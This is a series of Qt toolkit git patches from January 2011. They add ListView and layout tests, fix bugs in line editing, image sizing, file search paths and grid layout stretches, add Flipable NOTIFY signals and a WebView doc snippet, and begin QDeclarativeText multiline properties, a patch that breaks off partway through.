items(); @@ -1370,6 +1372,24 @@ void tst_QDeclarativeListView::positionViewAtIndex() listview->positionViewAtIndex(20, QDeclarativeListView::Contain); QTRY_COMPARE(listview->contentY(), 100.); + // positionAtBeginnging + listview->positionViewAtBeginning(); + QTRY_COMPARE(listview->contentY(), 0.); + + listview->setContentY(80); + canvas->rootObject()->setProperty("showHeader", true); + listview->positionViewAtBeginning(); + QTRY_COMPARE(listview->contentY(), -30.); + + // positionAtEnd + listview->positionViewAtEnd(); + QTRY_COMPARE(listview->contentY(), 480.); // 40*20 - 320 + + listview->setContentY(80); + canvas->rootObject()->setProperty("showFooter", true); + listview->positionViewAtEnd(); + QTRY_COMPARE(listview->contentY(), 510.); + delete canvas; } @@ -2026,6 +2046,45 @@ void tst_QDeclarativeListView::incrementalModel() delete canvas; } +void tst_QDeclarativeListView::testQtQuick11Attributes() +{ + QFETCH(QString, code); + QFETCH(QString, warning); + QFETCH(QString, error); + + QDeclarativeEngine engine; + QObject *obj; + + QDeclarativeComponent valid(&engine); + valid.setData("import QtQuick 1.1; ListView { " + code.toUtf8() + " }", QUrl("")); + obj = valid.create(); + QVERIFY(obj); + QVERIFY(valid.errorString().isEmpty()); + delete obj; + + QDeclarativeComponent invalid(&engine); + invalid.setData("import QtQuick 1.0; ListView { " + code.toUtf8() + " }", QUrl("")); + QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); + obj = invalid.create(); + QCOMPARE(invalid.errorString(), error); + delete obj; +} + +void tst_QDeclarativeListView::testQtQuick11Attributes_data() +{ + QTest::addColumn("code"); + QTest::addColumn("warning"); + QTest::addColumn("error"); + + QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()" + << ":1: ReferenceError: Can't find variable: positionViewAtBeginning" + << ""; + + QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()" + << ":1: ReferenceError: Can't find variable: positionViewAtEnd" + << ""; +} + void tst_QDeclarativeListView::qListModelInterface_items() { items(); -- cgit v0.12 From 7393fa902a62e53558ffb56769d31b4d5ba77161 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Tue, 11 Jan 2011 14:10:18 +1000 Subject: Don't crash if cursor at the end. 77cba04c2 assumed a level of bounds checking in QTextLayout that does not exist. Task-number: qtbug-15818 Reviewed-by: Michael Brasser --- src/gui/widgets/qlinecontrol.cpp | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/src/gui/widgets/qlinecontrol.cpp b/src/gui/widgets/qlinecontrol.cpp index 12607c1..9abbfac 100644 --- a/src/gui/widgets/qlinecontrol.cpp +++ b/src/gui/widgets/qlinecontrol.cpp @@ -541,7 +541,10 @@ void QLineControl::draw(QPainter *painter, const QPoint &offset, const QRect &cl */ void QLineControl::selectWordAtPos(int cursor) { - int c = m_textLayout.previousCursorPosition(cursor+1, QTextLayout::SkipWords); + int next = cursor + 1; + if(next > end()) + --next; + int c = m_textLayout.previousCursorPosition(next, QTextLayout::SkipWords); moveCursor(c, false); // ## text layout should support end of words. int end = m_textLayout.nextCursorPosition(c, QTextLayout::SkipWords); -- cgit v0.12 From 78d6465a6db7e99720adef8e24803e75cbd8dd65 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Tue, 11 Jan 2011 11:19:38 +0100 Subject: QDeclarativeDebug: Extend autotest Check that sendMessage doesn't crash if service isn't connected. --- .../qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp index 30629f9..14efc57 100644 --- a/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp +++ b/tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp @@ -133,6 +133,10 @@ void tst_QDeclarativeDebugService::sendMessage() client.sendMessage(msg); QByteArray resp = client.waitForResponse(); QCOMPARE(resp, msg); + + QTest::ignoreMessage(QtWarningMsg, "QDeclarativeDebugService: Conflicting plugin name \"tst_QDeclarativeDebugService::sendMessage()\" "); + QDeclarativeDebugService duplicate("tst_QDeclarativeDebugService::sendMessage()"); + duplicate.sendMessage("msg"); } void tst_QDeclarativeDebugService::idForObject() -- cgit v0.12 From 619cb18022baaea3020dd15369c67b2bc07f5f86 Mon Sep 17 00:00:00 2001 From: Kai Koehne Date: Mon, 10 Jan 2011 13:16:00 +0100 Subject: QDeclarativeDebug: Hardcode version when serializing Qt types Make sure that e.g. QtCreator compiled with 4.7 can debug a program compiled with 4.8. Reviewed-by: Christiaan Janssen --- src/declarative/debugger/qpacketprotocol.cpp | 1 + 1 file changed, 1 insertion(+) diff --git a/src/declarative/debugger/qpacketprotocol.cpp b/src/declarative/debugger/qpacketprotocol.cpp index ad1e767..1d056e4 100644 --- a/src/declarative/debugger/qpacketprotocol.cpp +++ b/src/declarative/debugger/qpacketprotocol.cpp @@ -407,6 +407,7 @@ QPacket::QPacket() buf = new QBuffer(&b); buf->open(QIODevice::WriteOnly); setDevice(buf); + setVersion(QDataStream::Qt_4_7); } /*! -- cgit v0.12 From d91eb7728beea99eb347293c89500cfa03814208 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 12 Jan 2011 14:21:59 +1000 Subject: Don't use implicitSize when calculating implicit size Width/height ended up getting trapped at <0 in this fillMode if only one of witdh/height was explicit. Task-number: QTBUG-16389 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativeimage.cpp | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index 68a1ecb..af9fc0b 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -386,14 +386,16 @@ void QDeclarativeImage::updatePaintedGeometry() if (d->fillMode == PreserveAspectFit) { if (!d->pix.width() || !d->pix.height()) return; - qreal widthScale = width() / qreal(d->pix.width()); - qreal heightScale = height() / qreal(d->pix.height()); + int effectiveHeight = heightValid() ? height() : d->pix.height(); + int effectiveWidth = widthValid() ? width() : d->pix.width(); + qreal widthScale = effectiveWidth / qreal(d->pix.width()); + qreal heightScale = effectiveHeight / qreal(d->pix.height()); if (widthScale <= heightScale) { - d->paintedWidth = width(); + d->paintedWidth = effectiveWidth; d->paintedHeight = widthScale * qreal(d->pix.height()); } else if(heightScale < widthScale) { d->paintedWidth = heightScale * qreal(d->pix.width()); - d->paintedHeight = height(); + d->paintedHeight = effectiveHeight; } if (widthValid() && !heightValid()) { setImplicitHeight(d->paintedHeight); -- cgit v0.12 From 51a09036d2c7fdefa82698d5f096efd604f4e364 Mon Sep 17 00:00:00 2001 From: Alan Alpert Date: Wed, 12 Jan 2011 15:08:53 +1000 Subject: Revert "Don't use implicitSize when calculating implicit size" This reverts commit d91eb7728beea99eb347293c89500cfa03814208. Need to consult on the expected behavior before fixing this one. --- src/declarative/graphicsitems/qdeclarativeimage.cpp | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeimage.cpp b/src/declarative/graphicsitems/qdeclarativeimage.cpp index af9fc0b..68a1ecb 100644 --- a/src/declarative/graphicsitems/qdeclarativeimage.cpp +++ b/src/declarative/graphicsitems/qdeclarativeimage.cpp @@ -386,16 +386,14 @@ void QDeclarativeImage::updatePaintedGeometry() if (d->fillMode == PreserveAspectFit) { if (!d->pix.width() || !d->pix.height()) return; - int effectiveHeight = heightValid() ? height() : d->pix.height(); - int effectiveWidth = widthValid() ? width() : d->pix.width(); - qreal widthScale = effectiveWidth / qreal(d->pix.width()); - qreal heightScale = effectiveHeight / qreal(d->pix.height()); + qreal widthScale = width() / qreal(d->pix.width()); + qreal heightScale = height() / qreal(d->pix.height()); if (widthScale <= heightScale) { - d->paintedWidth = effectiveWidth; + d->paintedWidth = width(); d->paintedHeight = widthScale * qreal(d->pix.height()); } else if(heightScale < widthScale) { d->paintedWidth = heightScale * qreal(d->pix.width()); - d->paintedHeight = effectiveHeight; + d->paintedHeight = height(); } if (widthValid() && !heightValid()) { setImplicitHeight(d->paintedHeight); -- cgit v0.12 From fb76168df6fc73528328d2fce4f10a541af92cc2 Mon Sep 17 00:00:00 2001 From: Morten Engvoldsen Date: Wed, 12 Jan 2011 15:19:38 +0100 Subject: Doc: correcting merge error --- doc/src/template/style/style.css | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 451d6bf..aa98af8 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -226,10 +226,15 @@ { font-size: 13px; } - .red - { - color:red; - } + .red + { + color:red; + } + .figCaption{ + color:#363534; + font:italic 11px/1.2 Verdana; + padding-top:0; + } /* end font style elements */ /* global settings*/ -- cgit v0.12 From 5096e91a68f86d034289b1ec47a6c559c31580cb Mon Sep 17 00:00:00 2001 From: Shane Kearns Date: Wed, 12 Jan 2011 15:21:45 +0000 Subject: Fix for using search paths with a dirty path Opening "searchpath:/file" and other non clean paths was failing Reviewed-by: joao --- src/corelib/io/qfilesystemengine.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/corelib/io/qfilesystemengine.cpp b/src/corelib/io/qfilesystemengine.cpp index d9d802e..799c109 100644 --- a/src/corelib/io/qfilesystemengine.cpp +++ b/src/corelib/io/qfilesystemengine.cpp @@ -168,7 +168,7 @@ static bool _q_resolveEntryAndCreateLegacyEngine_recursive(QFileSystemEntry &ent const QStringList &paths = QDir::searchPaths(filePath.left(prefixSeparator)); for (int i = 0; i < paths.count(); i++) { - entry = QFileSystemEntry(paths.at(i) % QLatin1Char('/') % filePath.mid(prefixSeparator + 1)); + entry = QFileSystemEntry(QDir::cleanPath(paths.at(i) % QLatin1Char('/') % filePath.mid(prefixSeparator + 1))); // Recurse! if (_q_resolveEntryAndCreateLegacyEngine_recursive(entry, data, engine, true)) return true; -- cgit v0.12 From a750cf02225e46063161a1352451d46eb2df5491 Mon Sep 17 00:00:00 2001 From: Bea Lam Date: Thu, 13 Jan 2011 13:29:02 +1000 Subject: Add NOTIFY signals to Flipable 'front' and 'back' properties Although the change notifications themselves may not be that useful, as these properties are write-once, adding the NOTIFY signals allows the properties to be used in bindings. Task-number: QTBUG-16580, QTBUG-14551 Reviewed-by: Martin Jones --- src/declarative/graphicsitems/qdeclarativeflipable.cpp | 2 ++ src/declarative/graphicsitems/qdeclarativeflipable_p.h | 6 ++++-- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeflipable.cpp b/src/declarative/graphicsitems/qdeclarativeflipable.cpp index f118a85..b7c4063 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable.cpp +++ b/src/declarative/graphicsitems/qdeclarativeflipable.cpp @@ -142,6 +142,7 @@ void QDeclarativeFlipable::setFront(QGraphicsObject *front) d->front->setParentItem(this); if (Back == d->current) d->front->setOpacity(0.); + emit frontChanged(); } QGraphicsObject *QDeclarativeFlipable::back() @@ -165,6 +166,7 @@ void QDeclarativeFlipable::setBack(QGraphicsObject *back) this, SLOT(retransformBack())); connect(back, SIGNAL(heightChanged()), this, SLOT(retransformBack())); + emit backChanged(); } void QDeclarativeFlipable::retransformBack() diff --git a/src/declarative/graphicsitems/qdeclarativeflipable_p.h b/src/declarative/graphicsitems/qdeclarativeflipable_p.h index 78eaf53..b8fa8a4 100644 --- a/src/declarative/graphicsitems/qdeclarativeflipable_p.h +++ b/src/declarative/graphicsitems/qdeclarativeflipable_p.h @@ -60,8 +60,8 @@ class Q_AUTOTEST_EXPORT QDeclarativeFlipable : public QDeclarativeItem Q_OBJECT Q_ENUMS(Side) - Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront) - Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack) + Q_PROPERTY(QGraphicsObject *front READ front WRITE setFront NOTIFY frontChanged) + Q_PROPERTY(QGraphicsObject *back READ back WRITE setBack NOTIFY backChanged) Q_PROPERTY(Side side READ side NOTIFY sideChanged) //### flipAxis //### flipRotation @@ -79,6 +79,8 @@ public: Side side() const; Q_SIGNALS: + void frontChanged(); + void backChanged(); void sideChanged(); private Q_SLOTS: -- cgit v0.12 From 7fbf1829e11504eca6a55f1e5dbddf2f658b5302 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Jan-Arve=20S=C3=A6ther?= Date: Fri, 17 Dec 2010 14:41:43 +0100 Subject: Fix a bug that got revealed by 604c51f1fc5c79b7fad12cda911b06b9e6e5005f The bug has been around for a while, but change 604c51f1fc5c7 made it emerge. The problem was that stretches were combined by always *maxing* them. The values of 'stretch' can be interpreted as this: -1: (the default) it means that the items should be stretched with the stretch factor dervived from the size hints. (In practice this means that they are distributed fairly). 0: Means that the item should not be stretched >0: Means that the item should be stretch with that number as a factor. This meant that combining one item with a fixed size(0) and another item with a default stretch (-1) the combined row stretch would end up being fixed. This also fixes how stretches are combined for spanning items too. Task-number: QTBUG-13551 Reviewed-by: John Tapsell --- src/gui/graphicsview/qgridlayoutengine.cpp | 5 +++-- .../tst_qgraphicslinearlayout.cpp | 26 ++++++++++++++++++++++ 2 files changed, 29 insertions(+), 2 deletions(-) diff --git a/src/gui/graphicsview/qgridlayoutengine.cpp b/src/gui/graphicsview/qgridlayoutengine.cpp index f1055ba..a3c7ff5 100644 --- a/src/gui/graphicsview/qgridlayoutengine.cpp +++ b/src/gui/graphicsview/qgridlayoutengine.cpp @@ -194,7 +194,8 @@ void QGridLayoutRowData::distributeMultiCells(const QGridLayoutRowInfo &rowInfo) for (int k = 0; k < span; ++k) { boxes[start + k].combine(extras[k]); - stretches[start + k] = qMax(stretches[start + k], stretch); + if (stretch != 0) + stretches[start + k] = qMax(stretches[start + k], stretch); } } multiCellMap.clear(); @@ -1472,7 +1473,7 @@ void QGridLayoutEngine::fillRowData(QGridLayoutRowData *rowData, const QLayoutSt QGridLayoutBox *box; if (effectiveRowSpan == 1) { box = &rowBox; - if (!userRowStretch) + if (!userRowStretch && itemStretch != 0) rowStretch = qMax(rowStretch, itemStretch); } else { QGridLayoutMultiCellData &multiCell = diff --git a/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp b/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp index 965e340..48dea0c 100644 --- a/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp +++ b/tests/auto/qgraphicslinearlayout/tst_qgraphicslinearlayout.cpp @@ -106,6 +106,7 @@ private slots: void testAlignmentInLargerLayout(); void testOffByOneInLargerLayout(); void testDefaultAlignment(); + void combineSizePolicies(); // Task specific tests void task218400_insertStretchCrash(); @@ -1583,6 +1584,31 @@ void tst_QGraphicsLinearLayout::testDefaultAlignment() QCOMPARE(w2->geometry(), QRectF(0,50,100,100)); } +void tst_QGraphicsLinearLayout::combineSizePolicies() +{ + QGraphicsWidget *widget = new QGraphicsWidget; + QGraphicsLinearLayout *layout = new QGraphicsLinearLayout(Qt::Horizontal, widget); + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMaximumSize(200,200); + w1->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Preferred); + layout->addItem(w1); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setPreferredSize(50,50); + w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); + layout->addItem(w2); + QCOMPARE(layout->maximumHeight(), qreal(200)); + + // now remove the fixed vertical size policy, and set instead the maximum height to 50 + // this should in effect give the same maximumHeight + w2->setMaximumHeight(50); + w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Preferred); + QCOMPARE(layout->maximumHeight(), qreal(200)); +} + QTEST_MAIN(tst_QGraphicsLinearLayout) #include "tst_qgraphicslinearlayout.moc" -- cgit v0.12 From 7cc615479a8abdf8b4056850daa8cdb5143f3782 Mon Sep 17 00:00:00 2001 From: John Tapsell Date: Mon, 20 Dec 2010 09:52:22 +0000 Subject: Some unit tests for layout explosion thingy Adds more tests for commit 7fbf1829e11504eca6a55f1e5dbddf2f658b5302 Task-number: QTBUG-13551 --- .../tst_qgraphicsgridlayout.cpp | 158 +++++++++++++++++++++ 1 file changed, 158 insertions(+) diff --git a/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp b/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp index 35ea059..baea906 100644 --- a/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp +++ b/tests/auto/qgraphicsgridlayout/tst_qgraphicsgridlayout.cpp @@ -120,6 +120,11 @@ private slots: void avoidRecursionInInsertItem(); void styleInfoLeak(); void task236367_maxSizeHint(); + void spanningItem2x2_data(); + void spanningItem2x2(); + void spanningItem2x3_data(); + void spanningItem2x3(); + void spanningItem(); void heightForWidth(); void heightForWidthWithSpanning(); void stretchAndHeightForWidth(); @@ -2860,6 +2865,159 @@ void tst_QGraphicsGridLayout::heightForWidthWithSpanning() QCOMPARE(layout->effectiveSizeHint(Qt::MaximumSize, QSizeF(200, -1)), QSizeF(200, 10000)); } +Q_DECLARE_METATYPE(QSizePolicy::Policy) +void tst_QGraphicsGridLayout::spanningItem2x2_data() +{ + QTest::addColumn("sizePolicy"); + QTest::addColumn("itemHeight"); + QTest::addColumn("expectedHeight"); + + QTest::newRow("A larger spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 39 << 80; + QTest::newRow("A larger spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 39 << 80; + QTest::newRow("An equally-sized spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 40 << 80; + QTest::newRow("An equally-sized spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 40 << 80; + QTest::newRow("A smaller spanning item with 2 widgets with fixed policy") << QSizePolicy::Fixed << 41 << 82; + QTest::newRow("A smaller spanning item with 2 widgets with preferred policy") << QSizePolicy::Preferred << 41 << 82; +} + +void tst_QGraphicsGridLayout::spanningItem2x2() +{ + QFETCH(QSizePolicy::Policy, sizePolicy); + QFETCH(int, itemHeight); + QFETCH(int, expectedHeight); + QGraphicsWidget *form = new QGraphicsWidget(0, Qt::Window); + QGraphicsGridLayout *layout = new QGraphicsGridLayout(form); + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMinimumSize(80,80); + w1->setMaximumSize(80,80); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setMinimumSize(80,itemHeight); + w2->setPreferredSize(80,itemHeight); + w2->setSizePolicy(QSizePolicy::Fixed, sizePolicy); + + QGraphicsWidget *w3 = new QGraphicsWidget; + w3->setMinimumSize(80,itemHeight); + w3->setPreferredSize(80,itemHeight); + w3->setSizePolicy(QSizePolicy::Fixed, sizePolicy); + + layout->addItem(w1, 0, 0, 2, 1); + layout->addItem(w2, 0, 1); + layout->addItem(w3, 1, 1); + + QCOMPARE(layout->minimumSize(), QSizeF(160,expectedHeight)); + if(sizePolicy == QSizePolicy::Fixed) + QCOMPARE(layout->maximumSize(), QSizeF(160,expectedHeight)); + else + QCOMPARE(layout->maximumSize(), QSizeF(160,QWIDGETSIZE_MAX)); +} + +void tst_QGraphicsGridLayout::spanningItem2x3_data() +{ + QTest::addColumn("w1_fixed"); + QTest::addColumn("w2_fixed"); + QTest::addColumn("w3_fixed"); + QTest::addColumn("w4_fixed"); + QTest::addColumn("w5_fixed"); + + for(int w1 = 0; w1 < 2; w1++) + for(int w2 = 0; w2 < 2; w2++) + for(int w3 = 0; w3 < 2; w3++) + for(int w4 = 0; w4 < 2; w4++) + for(int w5 = 0; w5 < 2; w5++) { + QString description = QString("Fixed sizes:") + (w1?" w1":"") + (w2?" w2":"") + (w3?" w3":"") + (w4?" w4":"") + (w5?" w5":""); + QTest::newRow(description.toLatin1()) << (bool)w1 << (bool)w2 << (bool)w3 << (bool)w4 << (bool)w5; + } +} + +void tst_QGraphicsGridLayout::spanningItem2x3() +{ + QFETCH(bool, w1_fixed); + QFETCH(bool, w2_fixed); + QFETCH(bool, w3_fixed); + QFETCH(bool, w4_fixed); + QFETCH(bool, w5_fixed); + QGraphicsGridLayout *layout = new QGraphicsGridLayout; + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMinimumSize(80,80); + w1->setMaximumSize(80,80); + if (w1_fixed) + w1->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setMinimumSize(80,48); + w2->setPreferredSize(80,48); + if (w2_fixed) + w2->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w3 = new QGraphicsWidget; + w3->setMinimumSize(80,30); + w3->setPreferredSize(80,30); + if (w3_fixed) + w3->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w4 = new QGraphicsWidget; + w4->setMinimumSize(80,30); + w4->setMaximumSize(80,30); + if (w4_fixed) + w4->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + QGraphicsWidget *w5 = new QGraphicsWidget; + w5->setMinimumSize(40,24); + w5->setMaximumSize(40,24); + if (w5_fixed) + w5->setSizePolicy(QSizePolicy::Preferred, QSizePolicy::Fixed); + + layout->addItem(w1, 0, 0, 2, 1); + layout->addItem(w2, 0, 1); + layout->addItem(w3, 1, 1); + layout->addItem(w4, 0, 2); + layout->addItem(w5, 1, 2); + + QCOMPARE(layout->minimumSize(), QSizeF(240,80)); + // Only w2 and w3 grow vertically, so when they have a fixed vertical size policy, + // the whole layout cannot grow vertically. + if (w2_fixed && w3_fixed) + QCOMPARE(layout->maximumSize(), QSizeF(QWIDGETSIZE_MAX,80)); + else + QCOMPARE(layout->maximumSize(), QSizeF(QWIDGETSIZE_MAX,QWIDGETSIZE_MAX)); +} + +void tst_QGraphicsGridLayout::spanningItem() +{ + QGraphicsWidget *form = new QGraphicsWidget(0, Qt::Window); + QGraphicsGridLayout *layout = new QGraphicsGridLayout(form); + layout->setContentsMargins(0, 0, 0, 0); + layout->setSpacing(0); + + QGraphicsWidget *w1 = new QGraphicsWidget; + w1->setMinimumSize(80,80); + w1->setMaximumSize(80,80); + + QGraphicsWidget *w2 = new QGraphicsWidget; + w2->setMinimumSize(80,38); + w2->setPreferredSize(80,38); + w2->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); + + QGraphicsWidget *w3 = new QGraphicsWidget; + w3->setMinimumSize(80,38); + w3->setPreferredSize(80,38); + w3->setSizePolicy(QSizePolicy::Fixed, QSizePolicy::Fixed); + + layout->addItem(w1, 0, 0, 2, 1); + layout->addItem(w2, 0, 1); + layout->addItem(w3, 1, 1); + + QCOMPARE(layout->minimumSize(), QSizeF(160,80)); + QCOMPARE(layout->maximumSize(), QSizeF(160,80)); +} + void tst_QGraphicsGridLayout::stretchAndHeightForWidth() { QGraphicsWidget *widget = new QGraphicsWidget(0, Qt::Window); -- cgit v0.12 From 7ef25c1e7bbb8363dec6cc3dd5bc2497404be0f9 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Thu, 13 Jan 2011 15:31:35 +0100 Subject: Doc: Added a missing snippet. Task-number: QTBUG-16619 --- doc/src/snippets/declarative/webview/webview.qml | 51 ++++++++++++++++++++++++ 1 file changed, 51 insertions(+) create mode 100644 doc/src/snippets/declarative/webview/webview.qml diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml new file mode 100644 index 0000000..c1cef33 --- /dev/null +++ b/doc/src/snippets/declarative/webview/webview.qml @@ -0,0 +1,51 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + +//! [document] +import QtWebKit 1.0 + +WebView { + url: "http://www.nokia.com" + preferredWidth: 490 + preferredHeight: 400 + scale: 0.5 + smooth: false +} +//! [document] -- cgit v0.12 From 08bd83f5f1b738713e80bbfbd06468d27c5d3694 Mon Sep 17 00:00:00 2001 From: Christopher Ham Date: Fri, 14 Jan 2011 14:57:10 +1000 Subject: QDeclarativeText has new multiline properties LineCount should return the number of lines currently being displayed. Setting maximumLineCount limits the number of lines that will be shown Truncated will return true if the text has been elided normally, or if the lines have been limited due to maximumLineCount. Task-number: QTBUG-12305 Reviewed-by: Michael Brasser --- src/declarative/graphicsitems/qdeclarativetext.cpp | 179 +++++++++++++++++++-- src/declarative/graphicsitems/qdeclarativetext_p.h | 14 ++ .../graphicsitems/qdeclarativetext_p_p.h | 7 + .../qdeclarativetext/data/lineCount.qml | 15 ++ .../qdeclarativetext/tst_qdeclarativetext.cpp | 30 ++++ 5 files changed, 230 insertions(+), 15 deletions(-) create mode 100644 tests/auto/declarative/qdeclarativetext/data/lineCount.qml diff --git a/src/declarative/graphicsitems/qdeclarativetext.cpp b/src/declarative/graphicsitems/qdeclarativetext.cpp index cf11be6..d61342e 100644 --- a/src/declarative/graphicsitems/qdeclarativetext.cpp +++ b/src/declarative/graphicsitems/qdeclarativetext.cpp @@ -54,6 +54,7 @@ #include #include #include +#include QT_BEGIN_NAMESPACE @@ -84,12 +85,14 @@ private: DEFINE_BOOL_CONFIG_OPTION(enableImageCache, QML_ENABLE_TEXT_IMAGE_CACHE); +QString QDeclarativeTextPrivate::elideChar = QString(0x2026); + QDeclarativeTextPrivate::QDeclarativeTextPrivate() : color((QRgb)0), style(QDeclarativeText::Normal), hAlign(QDeclarativeText::AlignLeft), vAlign(QDeclarativeText::AlignTop), elideMode(QDeclarativeText::ElideNone), - format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), imageCacheDirty(true), - updateOnComponentComplete(true), richText(false), singleline(false), cacheAllTextAsImage(true), - internalWidthUpdate(false), doc(0) + format(QDeclarativeText::AutoText), wrapMode(QDeclarativeText::NoWrap), lineCount(1), truncated(false), maximumLineCount(INT_MAX), + maximumLineCountValid(false), imageCacheDirty(true), updateOnComponentComplete(true), richText(false), singleline(false), + cacheAllTextAsImage(true), internalWidthUpdate(false), doc(0) { cacheAllTextAsImage = enableImageCache(); QGraphicsItemPrivate::acceptedMouseButtons = Qt::LeftButton; @@ -192,9 +195,13 @@ void QDeclarativeTextPrivate::updateLayout() QString tmp = text; tmp.replace(QLatin1Char('\n'), QChar::LineSeparator); singleline = !tmp.contains(QChar::LineSeparator); - if (singleline && elideMode != QDeclarativeText::ElideNone && q->widthValid()) { + if (singleline && !maximumLineCountValid && elideMode != QDeclarativeText::ElideNone && q->widthValid()) { QFontMetrics fm(font); tmp = fm.elidedText(tmp,(Qt::TextElideMode)elideMode,q->width()); // XXX still worth layout...? + if (tmp != text && !truncated) { + truncated = true; + emit q->truncatedChanged(); + } } layout.setText(tmp); } else { @@ -291,6 +298,8 @@ QSize QDeclarativeTextPrivate::setupTextLayout() qreal height = 0; qreal widthUsed = 0; qreal lineWidth = 0; + int visibleTextLength = 0; + int visibleCount = 0; //set manual width if ((wrapMode != QDeclarativeText::NoWrap || elideMode != QDeclarativeText::ElideNone) && q->widthValid()) @@ -302,16 +311,71 @@ QSize QDeclarativeTextPrivate::setupTextLayout() textOption.setWrapMode(QTextOption::WrapMode(wrapMode)); layout.setTextOption(textOption); - layout.beginLayout(); - forever { - QTextLine line = layout.createLine(); - if (!line.isValid()) - break; + bool elideText = false; + bool truncate = false; + + QFontMetrics fm(layout.font()); + qreal elideWidth = fm.width(elideChar); + elidePos = QPointF(); + + if (maximumLineCountValid) { + layout.beginLayout(); + int y = 0; + int linesLeft = maximumLineCount; + while (linesLeft > 0) { + 